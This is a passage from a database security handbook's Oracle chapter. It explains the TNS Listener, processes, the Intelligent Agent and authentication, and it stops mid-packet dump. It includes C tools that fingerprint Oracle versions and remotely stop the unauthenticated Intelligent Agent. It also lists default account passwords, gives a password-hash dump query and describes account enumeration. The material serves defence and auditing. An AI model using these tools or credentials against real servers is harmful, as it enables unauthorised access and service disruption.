Oracle Secure and Attacking

Preface

The Database Hacker’s Handbook: Defending Database Servers is about database security. This book is intended to provide practical source material for anyone who is attempting to secure database systems in their network or audit a customer’s network for database security problems.

Who This Book Is For

This book is aimed at people who are interested in the practical reality of database security. This includes database administrators, network administrators, security auditors, and the broader security research community. The book is unashamedly technical, and the reader is assumed to be familiar with well-known security concepts such as buffer overflows, format string bugs, SQL injection, basic network architecture, and so on. We dip into C, C++, and even assembler source code from time to time, but in general, programming skills aren’t necessary in order to understand the material.

Above all, this book is aimed at people who want to ensure that their database systems are as secure as possible.

Introduction

Why do we care about database security?

If money could be said to exist anywhere in a network, it exists on a database server. When we say that modern economies are reliant on computers, what we really mean is that modern economies are reliant on database systems. Databases are behind the systems that affect almost every aspect of our lives — our bank accounts, medical records, pensions, employment records, phone records, tax records, car registration details, supermarket purchases, our children’s school grades — almost every piece of information of significance in our lives is stored in a modern relational database management system. Since this volume covers seven of the most popular relational database systems, chances are that your personal information is currently being stored in the very systems that are the subject of this book.

We (the authors of this volume) consider database security to be the single most important information security issue there is. If database systems — the systems we all implicitly trust to hold our most sensitive data — are not secure, the potential impact on our lives, and even on our broader society, could be devastating.

Why then do we want to publish a book that describes methods for attacking databases? Simply put, we want to put this information into the hands of database administrators, security professionals, and network auditors so that the people whose job it is to defend these systems understand more fully how others attack them. The people we are all defending against already fully understand how to attack databases and networks; their continued liberty depends on that fact. This volume is likely to teach them little they didn’t already know. Contrary to what most software vendors would have you believe, finding security bugs isn’t very hard. For every bug that an independent researcher reports to a vendor, there are likely to be several bugs that are known to people who don’t inform the vendor. We believe that the best way to defend your network — and your databases — against these unknown bugs is to understand in detail the mechanics of the bugs we know about and attempt to create configurations that thwart whole classes of bugs, rather than simply patching and hoping that no one attacks you with a 0-day exploit.

More often than not, securing a database is a matter of applying the tried-and-tested principles that have been used in network security for decades — enforce minimal privilege, reduce “attack surface” by removing unnecessary functionality, be strict about authentication and access controls, separate blocks of functionality into distinct areas, enforce encryption . . . the only real difference is that in a database, all of these mechanisms operate within the miniature world of the database itself.

It’s tempting to read vendor literature pertaining to security and be reassured by the plethora of security measures that modern databases implement. Almost all database systems have some notion of privilege, access controls, comprehensive audit facilities, and controlled access to system components. Database vendors vie with each other to obtain security certifications that prove that they have appropriately implemented these mechanisms. The problem is that although these certifications are important, they are only a part of the story, and by no means the most important part.

All of the databases discussed in this volume have been subject to buffer overflows that violate almost all of these security mechanisms. Placing our faith in security standards, evaluations, and accreditations isn’t working. It’s time to get practical, and that’s what this book is all about.

Chapter 1: Why Care About Database Security?

Overview

In the introduction, we discussed the reasons why we consider database security to be important. In this chapter, we provide a brief overview of several broad categories of security issues, with a few specific details and some discussion of general defenses. We also briefly discuss how to go about finding security flaws in database systems. Before we do so, we should discuss some emerging trends in database security.

In recent years, with the explosion in web-based commerce and information systems, databases have been drawing ever closer to the network perimeter. This is a necessary consequence of doing business on the Web—you need your customers to have access to your information via your web servers, so your web servers need to have access to your databases. Databases that were previously accessible only via several insulating layers of complex business logic are now directly accessible from the much more fluid—and much less secure—web application environment. The result of this is that the databases are closer to the attackers. With the constant march toward a paperless business environment, database systems are increasingly being used to hold more and more sensitive information, so they present an increasingly valuable target. In recent years, database vendors have been competing with each other to provide the most feature-rich environment they can, with most major systems supporting XML, web services, distributed replication, operating system integration, and a host of other useful features. To cap all of this, the legislative burden in terms of corporate security is increasing, with HIPAA, SOX, GLBA, and California Senate Bill No. 1386 imposing an ever-increasing pressure on companies to ensure that their networks are compliant.

So why care about database security? Because your databases are closer to the attacker, present a more valuable target, have more features to configure, and are more closely regulated than they have ever been before.

Chapter 2: The Oracle Architecture

Overview

Oracle is probably the most popular database server out there, with the largest share of the market. It’s used in most vertical market areas for a range of storage needs such as financial records, human resources, billing, and so on. One of the reasons for this is that Oracle was an earlier player in the RDBMS area and it provided versions of its database that ran on most operating systems; and it still does, although it seems its preferred OS of choice is moving away from Solaris toward Linux. In the wild you more often come across Oracle running on these platforms but there’s also a good deal of Oracle running on HP-UX and AIX. It also seems with the explosion of e-Commerce a few years back that Oracle gained a lot of traction as the database of choice for web applications. This took the database one step closer to the hands of attackers and indeed, once Oracle came into the light from out of the backend of the backend, it gained more attention from the security side of things.

Oracle produces, in my opinion and as far as storing and querying data is concerned, one of the best database servers available. It’s incredibly configurable and highly functional. There’s an interface into the RDBMS to suit almost any developer taste and for every business use that can be dreamed of, it seems that Oracle has already provided the solution. All of this comes at a cost, though. Each sliver of functionality provides a breadth of attack surface; each solution a potential attack vector. The problem isn’t just getting to grips with the abundance of functionality to configure, however. The code behind the RDBMS has historically been subject to a number of buffer overflows, and other security problems such as PL/SQL Injection in default packages and procedures have required patches in the past. All this said, as long as your database server doesn’t ever get attacked, and of course assuming you’re running Oracle, then you can long enjoy the great benefits this powerful RDBMS provides. But let’s face it: in today’s world it’s not a case of, “Will I be attacked?” It’s a case of “When will I be attacked?” So, if you are actually concerned about your Oracle security or lack thereof, read on

Examining the Oracle Architecture

We begin this chapter by examining the physical layout of the database, such as the Oracle processes and how they interact with the network. We move on to examining authentication and authorization and then move to the logical layout of the database.

Oracle Processes and Oracle on the Network

This section describes the major components of Oracle and their interaction with the network. We begin with perhaps the most crucial network-facing component, the TNS Listener.

The Oracle TNS Listener

The TNS Listener is the hub of all communications in Oracle. “TNS” stands for Transparent Network Substrate and this is the protocol that Oracle uses to communicate between client and server. The TNS protocol is described on the Ethereal web site at http://www.ethereal.com/docs/dfref/t/tns.html.

The TNS Listener responds to a number of commands such as “version,” “status,” and “services,” and when a database server is first started, it registers with the TNS Listener using the service_register_NSGR command. This lets the TNS Listener know that the database server is ready to accept connections. Incidentally, although the service_register_NSGR command is intended to be used locally the command can be sent over the network. In the past there have been denial of service issues with this command that can kill the TNS Listener.

When a client wishes to access the database server, the client connects first to the Listener. The Listener replies back with a TCP port that the client should connect to. The client connects to this port and then authenticates to the database server. If, however, the database has been configured in MTS, or Multi Threaded Server, mode then no port is assigned as such and communication with the database server takes place over the same TCP port that the Listener is listening on. The TNS Listener usually listens on TCP port 1521 but, depending upon the version of Oracle and what applications have been installed this port may be different, for example 1526. Regardless, the TNS Listener can be configured to listen on any TCP port.

The TNS Listener is also integral to PL/SQL and external procedures that we’ll talk about later. Essentially when a PL/SQL procedure calls an external procedure, the RDBMS connects to the Listener, and the Listener launches a program called extproc to which the RDBMS connects. Extproc loads the library and executes the required function. As you’ll see later this can be abused by attackers to run commands without a user ID or password.

If the XML Database is enabled—and it is by default in Oracle 9 and later—the TNS Listener holds open TCP port 2100 and 8080. The former allows querying of XML data over the FTP protocol and the latter over HTTP. The Listener proxies traffic on these ports to the RDBMS.

In versions of Oracle prior to 10g, the TNS Listener could be administered remotely. What makes this particularly dangerous is the fact that by default the Listener is installed without a password so it is possible for anyone to administer the Listener. A password should be set to help secure the system. The Listener Control Utility, lsnrctl, is the tool used to manage the Listener. Using this tool it’s possible, among other things, to query the Listener for registered database services and retrieve status information:

C:\oracle\ora92\bin>lsnrctl
LSNRCTL for 32-bit Windows: Version 9.2.0.1.0 - Production on 10-OCT-2004 17:31:49
Copyright (c) 1991, 2002, Oracle Corporation.  All rights reserved.
Welcome to LSNRCTL, type "help" for information.
LSNRCTL> set current_listener 10.1.1.1
Current Listener is 192.168.0.34
LSNRCTL> status
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
Start Date                10-OCT-2004 16:12:50
Uptime                    0 days 1 hr. 19 min. 23 sec
Trace Level               off
Security                  ON
SNMP                      OFF
Listener Parameter File   C:\oracle\ora92\network\admin\listener.ora
Listener Log File         C:\oracle\ora92\network\log\listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=8080))
(Presentation=HTTP)(Session=RAW))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=2100))
(Presentation=FTP)(Session=RAW))
Services Summary...
Service "ORAXP" has 1 instance(s).
  Instance "ORAXP", status UNKNOWN, has 1 handler(s) for this service...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "oraxp.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
Service "oraxpXDB.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
The command completed successfully
LSNRCTL>

As you can see this leaks all kinds of useful information. As an interesting aside, if the Listener receives an invalid TNS packet, it will reply with a packet similar to

IP Header
      Length and version: 0x45
      Type of service: 0x00
      Total length: 94
      Identifier: 61557
      Flags: 0x4000
      TTL: 128
      Protocol: 6 (TCP)
      Checksum: 0x884c
      Source IP: 10.1.1.1
      Dest IP: 10.1.1.2
TCP Header
      Source port: 1521
      Dest port: 3100
      Sequence: 2627528132
      ack: 759427443
      Header length: 0x50
      Flags: 0x18 (ACK PSH )
      Window Size: 17450
      Checksum: 0xe1e8
      Urgent Pointer: 0
Raw Data
      00 36 00 00 04 00 00 00 22 00 00 2a 28 44 45 53  ( 6      "  *(DES)
      43 52 49 50 54 49 4f 4e 3d 28 45 52 52 3d 31 31  (CRIPTION=(ERR=11)
      35 33 29 28 56 53 4e 4e 55 4d 3d 31 35 31 30 30  (53)(VSNNUM=15100)
      30 30 36 35 29 29                                                   (0065)))

Looking at the value of VSNNUM, 151000065 in this case, we can derive the version of the server. When 151000065 is converted into hex we begin to see it better: 9001401. This equates to Oracle version 9.0.1.4.1. The following code can be used to query this information:

/************************************
/ Compile from a command line
/
/ C:\>cl /TC oraver.c /link wsock32.lib
/
*/
#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GetOracleVersion(void);
int StartWinsock(void);
struct hostent *he;
struct sockaddr_in s_sa;
int ListenerPort=1521;
char host[260]="";
unsigned char TNSPacket[200]=
"\x00\x46\x00\x00\x01\x00\x00\x00\x01\x37\x01\x2C\x00\x00\x08\x00"
"\x7F\xFF\x86\x0E\x00\x00\x01\x00\x00\x0C\x00\x3A\x00\x00\x07\xF8"
"\x0C\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x4C\x00\x00"
"\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00";

int main(int argc, char *argv[])
{
      unsigned int err=0;
      if(argc == 1)
      {
            printf("\n\t*** OraVer ***");
            printf("\n\n\tGets the Oracle version number.");
            printf("\n\n\tC:\\>%s host [port]",argv[0]);
            printf("\n\n\tDavid Litchfield\n\tdavidl@ngssoftware.com\n\t22th April 2003\n");
            return 0;
      }
      strncpy(host,argv[1],256);
      if(argc == 3)
            ListenerPort = atoi(argv[2]);
      err = StartWinsock();
      if(err==0)
            printf("Error starting Winsock.\n");
      else
            GetOracleVersion();
      WSACleanup();
      return 0;
}            

int StartWinsock()
{
      int err=0;
      unsigned int addr;
      WORD wVersionRequested;
      WSADATA wsaData;
      wVersionRequested = MAKEWORD( 2, 0 );
      err = WSAStartup( wVersionRequested, &wsaData );
      if ( err != 0 )
            return 0;

      if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
            return 0;

      s_sa.sin_addr.s_addr=INADDR_ANY;
      s_sa.sin_family=AF_INET;
      if (isalpha(host[0]))
      {
              he = gethostbyname(host);
            if(he == NULL)
            {
                  printf("Failed to look up %s\n",host);
                  return 0;
            }
            memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
      }
      else
      {
            addr = inet_addr(host);
            memcpy(&s_sa.sin_addr,&addr,4);
      }
      return 1;
}

int GetOracleVersion(void)
{

      unsigned char resp[200]="";
      unsigned char ver[8]="";
      unsigned char h=0,l=0,p=0,q=0;
      int snd=0,rcv=0,count=0;
      SOCKET cli_sock;
      char *ptr = NULL;

      cli_sock=socket(AF_INET,SOCK_STREAM,0);
      if (cli_sock==INVALID_SOCKET)
                return printf("\nFailed to create the socket.\n");

      s_sa.sin_port=htons((unsigned short)ListenerPort);
      if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
      {
            printf("\nFailed to connect to the Listener.\n");
            goto The_End;
      }
      snd=send(cli_sock, TNSPacket , 0x3A , 0);
      snd=send(cli_sock, "NGSSoftware\x00" , 12 , 0);
      rcv = recv(cli_sock,resp,196,0);
      if(rcv == SOCKET_ERROR)
      {
            printf("\nThere was a receive error.\n");
            goto The_End;
      }
      while(count < rcv)
      {
            if(resp[count]==0x00)
                  resp[count]=0x20;
            count++;
      }

      ptr = strstr(resp,"(VSNNUM=");
      if(!ptr)
      {
            printf("\nFailed to get the version.\n");
            goto The_End;
      }
      ptr = ptr + 8;
      count = atoi(ptr);
      count = count << 4;
      memmove(ver,&count,4);
      h = ver[3] >> 4;
      l = ver[3] << 4;
      l = l >> 4;
      p = ver[1] >> 4;
      q = ver[0] >> 4;
      printf("\nVersion of Oracle is %d.%d.%d.%d.%d\n",h,l,ver[2],p,q);
The_End:
      closesocket(cli_sock);
      return 0;
}

The Oracle RDBMS

Because we’ll be talking about the Oracle RDBMS in depth in later sections, we’ll simply cover a few of the more important details here. One of the major differences between Oracle running on Windows and Oracle running on UNIX-based platforms is the number of processes that combine to create the actual RDBMS. On Windows there is simply the oracle.exe process, but on UNIX platforms there are multiple processes each responsible for some part of functionality. Using ps we can list these processes:

$ ps -ef | grep oracle
  oracle  17749     1  0 11:26:13 ?        0:00 ora_pmon_orasidsol
  oracle  10109     1  0   Sep 18 ?        0:01 /u01/oracle/product/9.2.0/bin/tnslsnr listener920 -inherit
  oracle  17757     1  0 11:26:16 ?        0:01 ora_smon_orasidsol
  oracle  17759     1  0 11:26:17 ?        0:00 ora_reco_orasidsol
  oracle  17751     1  0 11:26:15 ?        0:01 ora_dbw0_orasidsol
  oracle  17753     1  0 11:26:16 ?        0:01 ora_lgwr_orasidsol  
  oracle  17755     1  0 11:26:16 ?        0:05 ora_ckpt_orasidsol
  oracle  17762     1  0 11:30:59 ?        1:34 oracleorasidsol (LOCAL=NO)

Each RDBMS process has the name of the database SID appended to it—in this case orasidsol. The following list looks at each process and discusses what each does.

  • The PMON process. This is the Process Monitor process and its job is to check if any of the other processes fail, and perform housekeeping tasks if one does such as free handles and so on.
  • The SMON process. This is the System Monitor process and it is responsible for crash recovery if a database instance crashes.
  • The RECO process. This is the Distributed Transaction Recovery process and handles any unresolved transactions.
  • The DBWR process. This is the Database Writer process. There may be many such processes running. From the preceding ps listing we can see only one—numbered 0.
  • The LGWR process. This is the Log Writer process and is responsible for handling redo logs.
  • The CKPT process. This is the Checkpoint process and every so often it nudges the Database Writer process to flush its buffers.

All of these background processes are present on Windows, too; they’re just all rolled up into the main oracle.exe process.

The oracleorasidsol process is what is termed the shadow or server process. It is actually this process that the client interacts with. Information about processes and sessions is stored in the V$PROCESS and V$SESSION tables in SYS schema.

The Oracle Intelligent Agent

This component is peripheral to the actual RDBMS but is integral to its management. The Intelligent Agent performs a number of roles, but probably its most significant function is to gather management and performance data, which can be queried through SNMP or Oracle’s own proprietary protocols. The Agent listens on TCP port 1748, 1808, and 1809. As far as SNMP is concerned the port is configurable and may be the default of UDP 161 or often dbsnmp can be found listening for SNMP requests on 1161. In Oracle 10g dbsnmp has gone and in its place is the emagent.

Performance data can be queried remotely without having to present a username or password using the Oracle Enterprise Manager tool—specifically using the “Performance Manager” of the “Diagnostic Pack.” This, needless to say, can provide attackers with a wealth of information about the remote system. For example, they could list all running processes, get memory usage, and so on.

Another of the tools provided by Oracle to manage the Intelligent Agent is the agentctl utility. Using this tool the Agent can be stopped, started, queried for its status, and blackouts started and stopped. A blackout essentially tells the Agent to stop gathering data or stop executing jobs. The agentctl utility is somewhat limited though; it can’t really be used to query remote systems. However, it does use sockets on the local system to communicate with the Agent so a couple of strategic break points in a debugging session will reveal what traffic is actually being passed backward and forward. If you prefer to use port redirection tools for this kind of work this will do admirably, also. Whichever way you dump the packets you’ll quickly notice that none of the communications are authenticated. This means, for example, an attacker could define blackouts or stop the Agent without having to present any username or password. The following code can be used to dump information from the Intelligent Agent:

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#define DBSNMPPORT 1748
int QueryDBSNMP(int in);
int StartWinsock(void);
struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
char host[260]="";

unsigned char Packet_1[]=
"\x00\x6A\x00\x00\x01\x00\x00\x00\x01\x38\x01\x2C\x00\x00\x08\x00"
"\x7F\xFF\x86\x0E\x00\x00\x01\x00\x00\x30\x00\x3A\x00\x00\x00\x64"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB4\x00\x00"
"\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x28\x4F\x45\x4D\x5F\x4F"
"\x4D\x53\x3D\x28\x56\x45\x52\x53\x49\x4F\x4E\x3D\x28\x52\x45\x4C"
"\x45\x41\x53\x45\x3D\x39\x2E\x32\x2E\x30\x2E\x31\x2E\x30\x29\x28"
"\x52\x50\x43\x3D\x32\x2E\x30\x29\x29\x29\x54\x76\x10";
unsigned char Packet_2[]=
"\x00\x42\x00\x00\x06\x00\x00\x00\x00\x00\x28\x41\x44\x44\x52\x45"
"\x53\x53\x3D\x28\x50\x52\x4F\x54\x4F\x43\x4F\x4C\x3D\x74\x63\x70"
"\x29\x28\x48\x4F\x53\x54\x3D\x31\x36\x39\x2E\x32\x35\x34\x2E\x33"
"\x32\x2E\x31\x33\x33\x29\x28\x50\x4F\x52\x54\x3D\x31\x37\x34\x38"
"\x29\x29\x00\x3E\x00\x00\x06\x00\x00\x00\x00\x00\x20\x08\xFF\x03"
"\x01\x00\x12\x34\x34\x34\x34\x34\x78\x10\x10\x32\x10\x32\x10\x32"
"\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76\x10\x00\x00\x80"
"\x01\x00\x00\x00\x00\x00\x84\x03\xBC\x02\x80\x02\x80\x02\x00\x00";
unsigned char Packet_3[]=
"\x00\x52\x00\x00\x06\x00\x00\x00\x00\x00\x44\x00\x00\x80\x02\x00"
"\x00\x00\x00\x04\x00\x00\xB0\x39\xD3\x00\x90\x00\x23\x00\x00\x00"
"\x44\x32\x44\x39\x46\x39\x35\x43\x38\x32\x42\x46\x2D\x30\x35\x45"
"\x44\x2D\x45\x30\x30\x30\x2D\x37\x32\x33\x30\x30\x38\x33\x31\x35"
"\x39\x42\x30\x02\x00\x30\x01\x01\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x1E\x00\x00\x06\x00\x00\x00\x00\x00\x10\x00\x00\x80"
"\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
unsigned char Packet_4[]=
"\x00\x0A\x00\x00\x06\x00\x00\x00\x00\x40";
int main(int argc, char *argv[])
{
      int count = 56;
      if(argc != 3)
      {
            printf("\n\n\n\tOracle DBSNMP Tool\n\n\t");
            printf("C:\\>%s host status|stop",argv[0]);
            printf("\n\n\tDavid Litchfield\n\t");
            printf("davidl@ngssoftware.com");
            printf("\n\t4th June 2004\n\n\n\n");
            return 0;
      }
      strncpy(host,argv[1],250);
      if(!StartWinsock())
            return printf("Error starting Winsock.\n");
      if(stricmp(argv[2],"status")==0)
      {
            printf("\n\nStatus...\n\n");
            Packet_3[69] = 0x38;
      }
      if(stricmp(argv[2],"stop")==0)
      {
            printf("\n\nStopping...\n\n");
            Packet_3[69] = 0x37;
      }
      QueryDBSNMP(Packet_3[69]);
      WSACleanup();      
      return 0;
}            

int StartWinsock()
{
      int err=0;
      WORD wVersionRequested;
      WSADATA wsaData;
      wVersionRequested = MAKEWORD( 2, 0 );
      err = WSAStartup( wVersionRequested, &wsaData );
      if (err != 0)
            return 0;
      if (LOBYTE(wsaData.wVersion) !=2 || HIBYTE(wsaData.wVersion) !=0)
        {
            WSACleanup();
            return 0;
      }
      if (isalpha(host[0]))
      {
            he = gethostbyname(host);
            s_sa.sin_addr.s_addr=INADDR_ANY;
            s_sa.sin_family=AF_INET;
            memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
        }
      else
      {
            addr = inet_addr(host);
            s_sa.sin_addr.s_addr=INADDR_ANY;
            s_sa.sin_family=AF_INET;
            memcpy(&s_sa.sin_addr,&addr,4);
            he = (struct hostent *)1;
      }
      if (he == NULL)
            return 0;
      return 1;
}

int QueryDBSNMP(int in)
{
      unsigned char resp[1600]="";
      int snd=0,rcv=0,count=0;
      unsigned int ttlbytes=0;
      unsigned int to=2000;
      struct sockaddr_in cli_addr;
      SOCKET cli_sock;
      cli_sock=socket(AF_INET,SOCK_STREAM,0);
      if (cli_sock==INVALID_SOCKET)
      {
            printf("socket error.\n");
            return 0;
          }
      cli_addr.sin_family=AF_INET;
      cli_addr.sin_addr.s_addr=INADDR_ANY;        
      cli_addr.sin_port=htons((unsigned short)0);
//      setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));
      if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("bind error");
            return 0;
          }
      s_sa.sin_port=htons((unsigned short)DBSNMPPORT);
      if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("Connect error");
            return 0;
      }
      snd=send(cli_sock, Packet_1 , 0x6A , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      PrintResponse(rcv,resp);
      snd=send(cli_sock, Packet_2 , 0x80 , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      PrintResponse(rcv,resp);
      snd=send(cli_sock, Packet_3 , 0x70 , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      PrintResponse(rcv,resp);
      if(in == 0x37)
      {
            closesocket(cli_sock);
            return printf("Oracle Intelligent Agent has stopped");
      }
      snd=send(cli_sock, Packet_4 , 0x0A , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      closesocket(cli_sock);
      return 0;
}
int PrintResponse(int size, unsigned char *ptr)
{
      int count = 0;
      int chk = 0;
      int sp = 0;
      printf("%.4X   ",count);
      while(count < size)
      {
            if(count % 16 == 0 && count > 0)
            {
                  printf("   ");
                  chk = count;
                  count = count - 16;
                  while(count < chk)
                  {
                        if(ptr[count]<0x20)
                              printf(".");
                        else
                              printf("%c",ptr[count]);
                        count ++;
                  }
                  printf("\n%.4X   ",count);
            }
            printf("%.2X ",ptr[count]);
            count ++;
      }
      count = count - chk;
      count = 17 - count;
      while(sp < count)
      {
            printf("   ");
            sp++;
      }
      count = chk;
      while(count < size)
      {
            if(ptr[count]<0x20)
                  printf(".");
            else
                  printf("%c",ptr[count]);
            count ++;
      }
      printf("\n\n\n\n");
      return 0;
}

The Intelligent Agent often needs to communicate with the database server and requires a user account and password for the RDBMS. By default this is DBSNMP/DBSNMP—one of the better known default Oracle accounts. When performing a security audit of an Oracle database server, I often find that all the default passwords have been changed except this one. The reason is that if you change the password on the database server, snmp traps don’t work; you need to inform the Intelligent Agent of the password change, too. It seems that this is often too much hassle and is left in its default state. To properly change the password for the dbsnmp account you’ll need to edit the snmp_rw.ora file as well. You can find this file on the ORACLE_HOME/network/admin directory. Add the following:

SNMP.CONNECT.SID.NAME=dbsnmp
SNMP.CONNECT.SID.PASSWORD=password

“SID” is the SID of the database server. You can get this from the snmp_ro.ora file in the same directory. Once done, change the password for DBSNMP in Oracle.

Note—never change a password using the ALTER USER command. The reason you shouldn’t do this is because the SQL is logged if tracing is on, meaning that the password is also logged in clear text. Use the password command in SQL*Plus instead. In this case an encrypted version of the password is logged making it more secure against prying eyes.

Oracle Authentication and Authorization

Oracle supports two kinds of accounts: database accounts and operating system accounts. Operating system accounts are authenticated externally by the operating system and are generally preceded with OP$, whereas database accounts are authenticated against the database server. A number of users are created by default when the database is installed; some of these are integral to the correct operation of the database whereas others are simply created because a package has been installed. The most important database login on an Oracle server is the SYS login. SYS is god as far as the database is concerned and can be likened to the root account on UNIX systems or Administrator on Windows. SYS is installed with a default password of CHANGE_ON_INSTALL, although, as of 10g, the user is prompted for a password to assign—which is good (various components that you install can define default usernames and passwords—Appendix C includes a list of more than 600 default account names and passwords). Another key account is SYSTEM. This is just as powerful as SYS and has a default password of MANAGER. Incidentally, passwords in Oracle are converted to uppercase making them easier to brute force if one can get a hold of the password hashes. Details such as usernames and passwords are stored in the SYS.USER$ table.

SQL> select name,password from sys.user$ where type#=1;
NAME                           PASSWORD
------------------------------ ------------------------------
SYS                            2696A092833AFD9F
SYSTEM                         ED58B07310B19002
OUTLN                          4A3BA55E08595C81
DIP                            CE4A36B8E06CA59C
DMSYS                          BFBA5A553FD9E28A
DBSNMP                         E066D214D5421CCC
WMSYS                          7C9BA362F8314299
EXFSYS                         66F4EF5650C20355
ORDSYS                         7EFA02EC7EA6B86F
ORDPLUGINS                     88A2B2C183431F00
SI_INFORMTN_SCHEMA             84B8CBCA4D477FA3
MDSYS                          72979A94BAD2AF80
CTXSYS                         71E687F036AD56E5
OLAPSYS                        3FB8EF9DB538647C
WK_TEST                        29802572EB547DBF
XDB                            88D8364765FCE6AF
ANONYMOUS                      anonymous
SYSMAN                         447B729161192C24
MDDATA                         DF02A496267DEE66
WKSYS                          69ED49EE1851900D
WKPROXY                        B97545C4DD2ABE54
MGMT_VIEW                      B7A76767C5DB2BFD
SCOTT                          F894844C34402B67
23 rows selected.

Both SYS and SYSTEM are DBA privileged accounts but on a typical system you’ll also find at least a few more DBAs—namely MDSYS, CTXSYS, WKSYS, and SYSMAN. You can list all DBAs with the following query:

SQL> select distinct a.name from sys.user$ a, sys.sysauth$ b where a.user#=b.grantee# and b.privilege#=4;
NAME
-----------------------------
CTXSYS
SYS
SYSMAN
SYSTEM
WKSYS

(If you know a bit about Oracle and are wondering why I’m not using the DBA_USERS and DBA_ROLE_PRIVS views, see the last chapter in the Oracle section—you can’t trust views.)

This is enough on users and roles at the moment. Let’s look at how database users are authenticated.

Database Authentication

When a client authenticates to the server, rather than sending a password across the wire in clear text like most other RDBMSes Oracle chooses to encrypt it. Here’s how the authentication process works. First, the client connects to the TNS Listener and requests access to the RDBMS, specifying its SID. Provided the SID is valid the Listener responds with a TCP port and redirects the client to this port. On connecting to this port, to an Oracle shadow process, the client presents their username:

CLIENT to SERVER
00 c4 00 00 06 00 00 00 00 00 03 76 02 e0 91 d3  (           v    )
00 06 00 00 00 01 00 00 00 cc a2 12 00 04 00 00  (                )
00 9c a0 12 00 8c a4 12 00 06 73 79 73 74 65 6d  (          system)
0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e  (     AUTH_TERMIN)
41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00  (AL     GLADIUS  )
00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47  (       AUTH_PROG)
52 41 4d 5f 4e 4d 0b 00 00 00 0b 73 71 6c 70 6c  (RAM_NM     sqlpl)
75 73 2e 65 78 65 00 00 00 00 0c 00 00 00 0c 41  (us.exe         A)
55 54 48 5f 4d 41 43 48 49 4e 45 12 00 00 00 12  (UTH_MACHINE     )
57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55  (WORKGROUP\GLADIU)
53 00 00 00 00 00 08 00 00 00 08 41 55 54 48 5f  (S          AUTH_)
50 49 44 08 00 00 00 08 38 37 32 3a 32 34 33 36  (PID     872:2436)
00 00 00 00                                      (    )

Here you can see the client is attempting to authenticate as the “SYSTEM” user. If the user exists on the remote system, the server responds with a ses-sion key:

SERVER TO CLIENT
00 87 00 00 06 00 00 00 00 00 08 01 00 0c 00 00  (                )
00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 20 00  (  AUTH_SESSKEY  )
00 00 20 39 31 33 42 36 46 38 36 37 37 30 39 44  (   913B6F867709D)
34 34 35 39 34 34 34 41 32 41 36 45 31 31 43 44  (4459444A2A6E11CD)
45 38 45 00 00 00 00 04 01 00 00 00 00 00 00 00  (E8E             )
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  (                )
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  (                )
00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00  (                )
00 00 00 00 00 00 00                             (       )

Note that if the user does not exist on the remote server, no session key is issued. This is useful for an attacker. He or she can work out whether or not a given account exists on the server. (See the “Oracle Auditing” section at the end of this chapter to catch attacks like this.) Anyway, assuming the user does exist, the session key is sent back to the client. The client uses this session key to encrypt its password and send it back to the server for validation.

03 26 00 00 06 00 00 00 00 00 03 73 03 e0 91 d3  ( &         s    )
00 06 00 00 00 01 01 00 00 e8 b1 12 00 07 00 00  (                )
00 a0 ae 12 00 2c b4 12 00 06 73 79 73 74 65 6d  (     ,    system)
